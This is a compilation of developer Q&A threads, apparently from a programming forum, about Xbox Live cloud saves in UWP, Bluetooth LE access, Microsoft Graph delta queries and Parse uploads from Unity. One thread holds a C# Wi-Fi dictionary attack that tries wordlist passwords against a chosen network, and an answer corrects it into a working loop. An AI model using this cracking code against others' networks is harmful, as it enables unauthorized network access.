I just got done adding Xbox support code to my project, and have run into at least two issues.
The first involves save data sync which is working just fine, however when the game reads the user's login data on Windows it behaves as if login has not been completed - no gamertag is displayed in the corner, and the login provider throws error 0x87DD0005 regardless of the number of retry attempts.
Execution of the code is just fine on Xbox - only Windows seems to be affected by this. I'm also targeting the creator's showcase initially (or at least until I can get to where I'm ready for another run at ID#Xbox) so achievements and the like aren't a concern right now.
The following is the code I'm using (and in no particular order):
public void doStartup()
{
getData(-1);
for (int i = 0; i <= 5; i++)
{
getData(i);
}
ContentViewport.Source = new Uri("ms-appx-web:///logo.html");
}
public async void getData(int savefileId)
{
var users = await Windows.System.User.FindAllAsync();
string c_saveBlobName = "Advent";
//string c_saveContainerDisplayName = "GameSave";
string c_saveContainerName = "file" + savefileId;
if (savefileId == -1) c_saveContainerName = "config";
if (savefileId == 0) c_saveContainerName = "global";
GameSaveProvider gameSaveProvider;
GameSaveProviderGetResult gameSaveTask = await GameSaveProvider.GetForUserAsync(users[0], "00000000-0000-0000-0000-00006d0be05f");
//Parameters
//Windows.System.User user
//string SCID
if (gameSaveTask.Status == GameSaveErrorStatus.Ok)
{
gameSaveProvider = gameSaveTask.Value;
}
else
{
return;
//throw new Exception("Game Save Provider Initialization failed");;
}
//Now you have a GameSaveProvider
//Next you need to call CreateContainer to get a GameSaveContainer
GameSaveContainer gameSaveContainer = gameSaveProvider.CreateContainer(c_saveContainerName);
//Parameter
//string name (name of the GameSaveContainer Created)
//form an array of strings containing the blob names you would like to read.
string[] blobsToRead = new string[] { c_saveBlobName };
// GetAsync allocates a new Dictionary to hold the retrieved data. You can also use ReadAsync
// to provide your own preallocated Dictionary.
GameSaveBlobGetResult result = await gameSaveContainer.GetAsync(blobsToRead);
string loadedData = "";
//Check status to make sure data was read from the container
if (result.Status == GameSaveErrorStatus.Ok)
{
//prepare a buffer to receive blob
IBuffer loadedBuffer;
//retrieve the named blob from the GetAsync result, place it in loaded buffer.
result.Value.TryGetValue(c_saveBlobName, out loadedBuffer);
if (loadedBuffer == null)
{
//throw new Exception(String.Format("Didn't find expected blob \"{0}\" in the loaded data.", c_saveBlobName));
}
DataReader reader = DataReader.FromBuffer(loadedBuffer);
loadedData = reader.ReadString(loadedBuffer.Length);
if (savefileId == -1)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\config.json", loadedData);
}
catch { }
}
else if (savefileId == 0)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\global.json", loadedData);
}
catch { }
}
else
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\file" + savefileId + ".json", loadedData);
}
catch { }
}
}
}
public async void InitializeXboxGamer()
{
try
{
XboxLiveUser user = new XboxLiveUser();
if (user.IsSignedIn == false)
{
SignInResult result = await user.SignInSilentlyAsync(Window.Current.Dispatcher);
if (result.Status == SignInStatus.UserInteractionRequired)
{
result = await user.SignInAsync(Window.Current.Dispatcher);
}
}
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\curUser.txt", user.Gamertag);
doStartup();
}
catch (Exception ex)
{
// TODO: log an error here
}
}
I finally managed to figure out why the Xbox was working but Windows was not: it was a platform support issue. In the game's creator's dashboard for Xbox Live there's a settings window that allows the support of the game to be determined. Because I originally had separate builds for Xbox and Windows, only the Xbox support item was checked, so I went ahead and also checked off for Desktop support. After saving the changes, I resubmitted with the new configuration and now it works properly.
Related
I am trying to convert a working UWP app to a WPF one using .NET 6 with Target framework monikers.
I can scan BLE devices with no issues and connect to them, however I get an AccessDenied status at the next GetCharacteristicsAsync's call
I have checked characteristics properties and they all have the flag corresponding to the operation I am doing.
My OS version is 1943 and my target version is net6.0-windows10.0.19041.0
I have tried using BLuetoothCacheMode.Cached and Uncached: same result.
Edit:I have tried to call RequestAccessAsync and it does not seem to do anything. However this same method returns Allowed.
Here is a piece of code I use, it is inpired by the microsoft docs.
public async Task<byte[]> ReadAsync(string serviceUuid, string characteristicUuid)
{
using var bluetoothLEDevice = await BluetoothLEDevice.FromIdAsync(_device.DeviceId);
GattDeviceServicesResult result1 = await bluetoothLEDevice.GetGattServicesAsync(BluetoothCacheMode.Cached);
if (result1.Status == GattCommunicationStatus.Success)
{
foreach (var service in result1.Services)
{
if (service.Uuid.ToString() == serviceUuid)
{
GattCharacteristicsResult result2 = await service.GetCharacteristicsAsync(BluetoothCacheMode.Cached);
if (result2.Status == GattCommunicationStatus.Success)
{
foreach (var characteristic in result2.Characteristics)
{
if (characteristic.Uuid.ToString() == characteristicUuid)
{
var result = await characteristic.ReadValueAsync();
if (result.Status == GattCommunicationStatus.Success)
{
var reader = DataReader.FromBuffer(result.Value);
byte[] contents = new byte[reader.UnconsumedBufferLength];
reader.ReadBytes(contents);
return contents;
}
else
{
throw new Exception("Read: Cannot read characteristic: " + characteristic + " " + Enum.GetName(typeof(GattCommunicationStatus), result.Status));
}
}
}
}
else
{
// This exception is thrown
throw new Exception("Read: Cannot get characteristics for service: " + service.Uuid + " " + Enum.GetName(typeof(GattCommunicationStatus), result2.Status));
}
}
}
}
bluetoothLEDevice.Dispose();
return null;
}
Is there a way to control whether a full load delta or an incremental load delta is processed for an Azure Function?
I'm grabbing user info from Azure AD using Microsoft Graph API and the code I have executes an incremental load since the last load executed.
I want to be able to execute a full load of the Azure AD users without needing to purge/delete the relevant storage account, especially in a Production scenario. The relevant code follows:
public async Task<GraphUserProcessorResult> CheckUserDelta(DeltaBuilder deltaBuilder, ILogger logger)
{
List<User> gUsers = new List<User>();
var index = 1;
var userPg = await GetNewPgUser(deltaBuilder, logger);
gUsers.AddRange(usersPg.Where(IsRelevantUser));
while (usersPg.NextPageRequest != null)
{
index++;
usersPg = await usersPg.NextPageRequest.GetAsync();
}
GraphUserProcessorResult gUserResult;
logger.LogInformation("Found in graph " + gUsers.Count + " after " + index + " requests");
index = 0;
foreach (var gUser in gUsers)
{
index++;
if (index >= 10) { break; }
}
if (userPg.AdditionalData != null && usersPage.AdditionalData.TryGetValue("#odata.deltaLink", out object deltaLink))
{
gUserResult = new GraphUserProcessorResult(new DeltaBuilder(deltaLink as string, userPg), gUsers);
}
else
{
gUserResult = new GraphUserProcessorResult(null, gUsers);
logger.LogWarning("No Delta Link Found");
}
return gUserResult;
}
private async Task<IUserDeltaCollectionPage> GetNewPgUser(DeltaBuilder deltaBuilder, ILogger logger)
{
var lastPg = deltaBuilder?.lastPg;
var deltaLink = deltaBuilder?.deltaLink;
var retriesLeft = 5;
ServiceException lastException = null;
while (--retriesLeft > 0)
{
try
{
if (lastPage != null && deltaLink != null)
{
return await _gUserClient.GetNextUserPage(lastPage, deltaLink)
.ConfigureAwait(true); // mute warning
}
else
{
return await _graphUserClient.GetNewUserDelta()
.ConfigureAwait(true); // mute warning
}
}
catch (ServiceException e)
{
// blah
}
}
logger.LogError("blah");
throw lastException;
}
Please see the official Microsoft Graph document: Get incremental changes for users.
This delta endpoint is designed to obtain changes to users without having to fetch the entire set of users from Microsoft Graph and compare changes.
There is not an endpoint which allows you to execute a full load delta of the Azure AD users. The only workaround is fetching the entire set of users and compare changes by yourself as the document mentioned.
Is it possible to program a startup hold into an Xbox game package that waits for the user's cloud saves to sync before continuing? I have an HTML5 game package for which I require save data to be loaded from Xbox Live which is then read from local storage (in JSON format) to populate the load screen at startup, and I also have to account for any error messages for which the user may have to respond. The game itself is started up once sync is done (but obviously not until after the legal stuff has been taken care of, so logo splash, engine branding, seizure advisory and possibly also the FBI and ESRB notices also have to be taken into account). If it also helps to investigate, data is being saved properly while there's an active session and I can successfully copy it to local app storage. The Xbox Live copy, on the other hand, seems to be at issue right now.
I'm not holding that much data in the game files, either - just five save slots not including global config and user settings. Basically I'm trying to keep the per-user storage well under the 64MB cap on creator's projects (not to mention that my initial request for ID#Xbox didn't work out) and I'm hoping to have this implemented before I even dare to resubmit. This is provided that it's even possible of course, considering all of the conflicting information I've been receiving through my Bing and Google requests.
The closest I have come is with the following code, which is based largely on Microsoft Docs samples. This first block is what's supposed to load the Xbox data and copy it to disk, and for which I require the delay in the first place:
public void doStartup()
{
getData(-1);
for (int i = 0; i <= 5; i++)
{
getData(i);
}
}
public async void getData(int savefileId)
{
var users = await Windows.System.User.FindAllAsync();
string c_saveBlobName = "Advent";
//string c_saveContainerDisplayName = "GameSave";
string c_saveContainerName = "file" + savefileId;
if (savefileId <= 0) c_saveContainerName = "config";
if (savefileId == 0) c_saveContainerName = "global";
GameSaveProvider gameSaveProvider;
GameSaveProviderGetResult gameSaveTask = await GameSaveProvider.GetForUserAsync(users[0], "00000000-0000-0000-0000-00006d0be05f");
//Parameters
//Windows.System.User user
//string SCID
if (gameSaveTask.Status == GameSaveErrorStatus.Ok)
{
gameSaveProvider = gameSaveTask.Value;
}
else
{
return;
//throw new Exception("Game Save Provider Initialization failed");;
}
//Now you have a GameSaveProvider
//Next you need to call CreateContainer to get a GameSaveContainer
GameSaveContainer gameSaveContainer = gameSaveProvider.CreateContainer(c_saveContainerName);
//Parameter
//string name (name of the GameSaveContainer Created)
//form an array of strings containing the blob names you would like to read.
string[] blobsToRead = new string[] { c_saveBlobName };
// GetAsync allocates a new Dictionary to hold the retrieved data. You can also use ReadAsync
// to provide your own preallocated Dictionary.
GameSaveBlobGetResult result = await gameSaveContainer.GetAsync(blobsToRead);
string loadedData = "";
//Check status to make sure data was read from the container
if (result.Status == GameSaveErrorStatus.Ok)
{
//prepare a buffer to receive blob
IBuffer loadedBuffer;
//retrieve the named blob from the GetAsync result, place it in loaded buffer.
result.Value.TryGetValue(c_saveBlobName, out loadedBuffer);
if (loadedBuffer == null)
{
//throw new Exception(String.Format("Didn't find expected blob \"{0}\" in the loaded data.", c_saveBlobName));
}
DataReader reader = DataReader.FromBuffer(loadedBuffer);
loadedData = reader.ReadString(loadedBuffer.Length);
if (savefileId <= 0)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\config.json", loadedData);
}
catch { }
}
else if (savefileId == 0)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\global.json", loadedData);
}
catch { }
}
else
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\file"+savefileId+".json", loadedData);
}
catch { }
}
}
}
And this is what's supposed to read the data when called by the HTML5 portion:
public string getSaveFile(int savefileId)
{
string data;
if (savefileId == 0)
{
try
{
data = System.IO.File.ReadAllText(ApplicationData.Current.LocalFolder.Path + "\\global.json");
if (data == null) data = "";
Debug.WriteLine(data);
}
catch { data = ""; }
return data;
} else
{
try
{
data = System.IO.File.ReadAllText(ApplicationData.Current.LocalFolder.Path + "\\file" + savefileId + ".json");
if (data == null) data = "";
Debug.WriteLine(data);
}
catch { data = ""; }
return data;
}
}
public string getConfig()
{
string data;
try
{
data = System.IO.File.ReadAllText(ApplicationData.Current.LocalFolder.Path + "\\config.json");
if (data == null) data = "";
Debug.WriteLine(data);
}
catch { data = ""; }
return data;
}
And this is the save code on the WinRT side:
public async void doSave(int key, string data)
{
//Get The User
var users = await Windows.System.User.FindAllAsync();
string c_saveBlobName = "Advent";
string c_saveContainerDisplayName = "GameSave";
string c_saveContainerName = "file"+key;
if (key == -1) c_saveContainerName = "config";
if (key == 0) c_saveContainerName = "global";
GameSaveProvider gameSaveProvider;
GameSaveProviderGetResult gameSaveTask = await GameSaveProvider.GetForUserAsync(users[0], "00000000-0000-0000-0000-00006d0be05f");
//Parameters
//Windows.System.User user
//string SCID
if (gameSaveTask.Status == GameSaveErrorStatus.Ok)
{
gameSaveProvider = gameSaveTask.Value;
}
else
{
return;
//throw new Exception("Game Save Provider Initialization failed");
}
//Now you have a GameSaveProvider (formerly ConnectedStorageSpace)
//Next you need to call CreateContainer to get a GameSaveContainer (formerly ConnectedStorageContainer)
GameSaveContainer gameSaveContainer = gameSaveProvider.CreateContainer(c_saveContainerName); // this will create a new named game save container with the name = to the input name
//Parameter
//string name
// To store a value in the container, it needs to be written into a buffer, then stored with
// a blob name in a Dictionary.
DataWriter writer = new DataWriter();
writer.WriteString(data); //some number you want to save, in this case 23.
IBuffer dataBuffer = writer.DetachBuffer();
var blobsToWrite = new Dictionary<string, IBuffer>();
blobsToWrite.Add(c_saveBlobName, dataBuffer);
GameSaveOperationResult gameSaveOperationResult = await gameSaveContainer.SubmitUpdatesAsync(blobsToWrite, null, c_saveContainerDisplayName);
int i;
for (i = 1; i <= 90000; i++) {}
Debug.WriteLine("SaveProcessed");
//IReadOnlyDictionary<String, IBuffer> blobsToWrite
//IEnumerable<string> blobsToDelete
//string displayName
}
And I have just recently added the user detection code to the main project.
public static async void InitializeXboxGamer(TextBlock gamerTagTextBlock)
{
try
{
XboxLiveUser user = new XboxLiveUser();
SignInResult result = await user.SignInSilentlyAsync(Window.Current.Dispatcher);
if (result.Status == SignInStatus.UserInteractionRequired)
{
result = await user.SignInAsync(Window.Current.Dispatcher);
}
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\curUser.txt", user.Gamertag);
}
catch (Exception ex)
{
// TODO: log an error here
}
}
Big dumb... I figured out the problem with my code. When loading the global config, getData is passed a negative one; however for some reason it was writing the app data file instead so after I changed the verification to be a little more specific it started to work as expected.
public void doStartup()
{
getData(-1);
for (int i = 0; i <= 5; i++)
{
getData(i);
}
}
public async void getData(int savefileId)
{
var users = await Windows.System.User.FindAllAsync();
string c_saveBlobName = "Advent";
//string c_saveContainerDisplayName = "GameSave";
string c_saveContainerName = "file" + savefileId;
if (savefileId <= 0) c_saveContainerName = "config";
if (savefileId == 0) c_saveContainerName = "global";
GameSaveProvider gameSaveProvider;
GameSaveProviderGetResult gameSaveTask = await GameSaveProvider.GetForUserAsync(users[0], "00000000-0000-0000-0000-00006d0be05f");
//Parameters
//Windows.System.User user
//string SCID
if (gameSaveTask.Status == GameSaveErrorStatus.Ok)
{
gameSaveProvider = gameSaveTask.Value;
}
else
{
return;
//throw new Exception("Game Save Provider Initialization failed");;
}
//Now you have a GameSaveProvider
//Next you need to call CreateContainer to get a GameSaveContainer
GameSaveContainer gameSaveContainer = gameSaveProvider.CreateContainer(c_saveContainerName);
//Parameter
//string name (name of the GameSaveContainer Created)
//form an array of strings containing the blob names you would like to read.
string[] blobsToRead = new string[] { c_saveBlobName };
// GetAsync allocates a new Dictionary to hold the retrieved data. You can also use ReadAsync
// to provide your own preallocated Dictionary.
GameSaveBlobGetResult result = await gameSaveContainer.GetAsync(blobsToRead);
string loadedData = "";
//Check status to make sure data was read from the container
if (result.Status == GameSaveErrorStatus.Ok)
{
//prepare a buffer to receive blob
IBuffer loadedBuffer;
//retrieve the named blob from the GetAsync result, place it in loaded buffer.
result.Value.TryGetValue(c_saveBlobName, out loadedBuffer);
if (loadedBuffer == null)
{
//throw new Exception(String.Format("Didn't find expected blob \"{0}\" in the loaded data.", c_saveBlobName));
}
DataReader reader = DataReader.FromBuffer(loadedBuffer);
loadedData = reader.ReadString(loadedBuffer.Length);
if (savefileId <= 0)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\config.json", loadedData);
}
catch { }
}
else if (savefileId == 0)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\global.json", loadedData);
}
catch { }
}
else
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.LocalFolder.Path + "\\file"+savefileId+".json", loadedData);
}
catch { }
}
}
}
I still need the execution delay though, but that's for an entirely different reason that I discuss over here.
I'm working on a proof of concept at the moment, just for fun (and for YouTube). The thing I am trying to prove is that I can efficiently "hack" WiFi passwords using UWP and C# for Windows. I don't know of any Wi-Fi cracking tools that are designed specifically for Windows 10 devices (PC, Tablet, XboxOne, Mobile etc)...
So I have actually managed to perform a dictionary style attack (on my own WiFi network of course). However my function seems to completely crash occasionally when running the "hack".
Please consider the fact that this is completely white hat hacking I am talking about here, nothing illegal is intended.
Any help with a reason why this crashes is appreciated...
private async void connectWiFi_Tapped(object sender, TappedRoutedEventArgs e)
{
int success = 0;
var picker = new FileOpenPicker();
picker.ViewMode = PickerViewMode.Thumbnail;
picker.SuggestedStartLocation = PickerLocationId.DocumentsLibrary;
picker.FileTypeFilter.Add(".txt");
StorageFile file = await picker.PickSingleFileAsync();
if (file != null)
{
do
{
string _line;
using (var inputStream = await file.OpenReadAsync())
using (var classicStream = inputStream.AsStreamForRead())
using (var streamReader = new StreamReader(classicStream))
{
while (streamReader.Peek() >= 0)
{
if (success == 0)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = 1;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
}
else
{
success = 0;
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
}
} while (success == 0);
}
}
This is the code that actually runs a dictionary-style "hack" on a selected network. The code to actually connect to the network is as follows:
private async Task<bool> checkWifiPassword(string passPhrase)
{
var credential = new PasswordCredential();
WiFiReconnectionKind reconnectionKind = WiFiReconnectionKind.Manual;
credential.Password = passPhrase;
var selectedNetwork = null as WiFiNetworkDisplay;
foreach (var network in ResultCollection)
{
if (WifiNetworks.SelectedItem.ToString() == network.Ssid)
{
selectedNetwork = network as WiFiNetworkDisplay;
}
}
if (selectedNetwork != null)
{
var result = await firstAdapter.ConnectAsync(selectedNetwork.AvailableNetwork, reconnectionKind, credential);
if (result.ConnectionStatus == WiFiConnectionStatus.Success)
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
Does anyone have any idea what I am missing here?
Any help appreciated.
Thanks
Consider this loop
while (streamReader.Peek() >= 0)
{
if (success == 0)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = 1;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
}
else
{
success = 0;
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
This can lead to and infinite loop:
Imagine the following dictionary file:
abc
bcd
cde
where abc is the correct password.
You peek the stream, you get 97 (decimal ASCII for letter a), fine.
Success is 0, as we just started.
You read the next line.
You check the password, it works, cool.
You set success to 1, show the message, etc.
User closes the message dialog, ShowAsync() returns.
End of first loop iteration, let's start another one.
You peek the stream, you get 98 (ASCII for letter b), non 0, fine.
Success is not zero, so we skip the entire body of that while, end of second loop iteration.
You peek the stream again, the pointer did not move since the last peek, so you're going to get that same 98 again.
And you skip again, infinite loop.
EDIT - there is actually another infinite loop there
I will not detail this that much, but take a look at the outer do-while loop. That loop runs until success. But if the inner loop exhausts all possibilities and does not find a correct password, success will remain 0. That means the do while will run once again, the inner loop will go through the file again, which obviously will not find a solution again, and so on.
Solution
There are many ways that code could be cleaned up, but the quick fix is to break after msg.ShowAsync();.
More details (that would belong to codereview.stackexchange.com):
Also I would not Peek the StreamReader. Use EndOfStream for that job. And you can skip the inner if, you simply break if you found a correct password. You can drop the outer loop as well. If you completed the inner loop without setting the success flag (which in turn should be a boolean) you can report to the user that no password worked.
I would do something along the lines of: (take it as a pseudo code, might not compile as it is)
private async void connectWiFi_Tapped(object sender, TappedRoutedEventArgs e)
{
var picker = new FileOpenPicker();
picker.ViewMode = PickerViewMode.Thumbnail;
picker.SuggestedStartLocation = PickerLocationId.DocumentsLibrary;
picker.FileTypeFilter.Add(".txt");
StorageFile file = await picker.PickSingleFileAsync();
if (file != null)
{
bool success = false;
string _line;
using (var inputStream = await file.OpenReadAsync())
using (var classicStream = inputStream.AsStreamForRead())
using (var streamReader = new StreamReader(classicStream))
{
while (!streamReader.EndOfStream)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = true;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
break;
}
else
{
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
if(!success){ /* report to the user*/ }
}
I have been developing a game in Unity3D in C#. So I have set the game to upload the game save file
to Parse every 2 minutes. When I run the code in Unity it works fine, it saves the game save file locally, and every 2 minutes it uploads it to Parse, it also points to the user who's playing the game. Although when I run the game on a mobile device the file does not upload, I have been refreshing my parse data object in the last half an hour and I still haven't got anything.
Here is the code:
void Start ()
{
if (ParseUser.CurrentUser != null)
{
gapTest = true;
}
}
void Update ()
{
if(gapTest)
{
StartCoroutine(UploadFile());
}
if (uploadSaveFile)
{
OnZipComplete();
uploadSaveFile = false;
}
else if (createNewSaveFile)
{
CreateNewSaveFile();
createNewSaveFile = false;
}
}
IEnumerator UploadFile()
{
gapTest = false;
yield return new WaitForSeconds (120.0F);
if(ParseUser.CurrentUser != null)
{
OnZipComplete();
}
gapTest = true;
}
void OnZipComplete()
{
var query = ParseObject.GetQuery("GameSave").WhereEqualTo("UserObjectId", ParseUser.CurrentUser);
if (existingGameSave == null)
{
query.FindAsync().ContinueWith(t =>
{
IEnumerable<ParseObject> results = t.Result;
int resultCount = 0;
foreach (var result in results)
{
if (resultCount > 0)
{
Debug.LogError("Found more than one save file for user!");
}
else
{
resultCount++;
existingGameSave = result;
uploadSaveFile = true;
}
}
if (resultCount == 0)
{
createNewSaveFile = true;
}
});
}
else
{
UpdateExistingSaveFile();
}
}
private void CreateNewSaveFile()
{
//upload the file to parse
zipPath = Application.persistentDataPath + "/SaveGame.zip";
byte[] data = System.Text.Encoding.UTF8.GetBytes(zipPath);
ParseFile GameSave = new ParseFile("GameSave.zip", data);
var gameSave = new ParseObject("GameSave");
gameSave["UserObjectId"] = ParseUser.CurrentUser;
gameSave["GameSaveFile"] = GameSave;
Task saveTask = gameSave.SaveAsync();
Debug.Log("New Game save file has been uploaded");
}
void UpdateExistingSaveFile()
{
//upload the file to parse
UserIdFile = Application.persistentDataPath + "/UserId.txt";
zipPath = Application.persistentDataPath + "/SaveGame.zip";
byte[] data = System.Text.Encoding.UTF8.GetBytes(zipPath);
ParseFile GameSave = new ParseFile("GameSave.zip", data);
existingGameSave["GameSaveFile"] = GameSave;
Task saveTask = existingGameSave.SaveAsync();
Debug.Log("Existing Game save file has been uploaded");
}
This might be a problem related to permission on android device.
Go to Build Setting > Player Setting > Other Settings, and check "Write Access", by default, it is internal Only which means that the path is for development purpose only.
Try Setting the Write Access as External(SD Card) or add WRITE_ EXTERNAL_STORAGE permission into AndroidManifest.xml. And check Android/file/com.your.appid/files of your sd card if your data is actually getting written on device.
If data is getting written, then it will sure get uploaded on parse.com.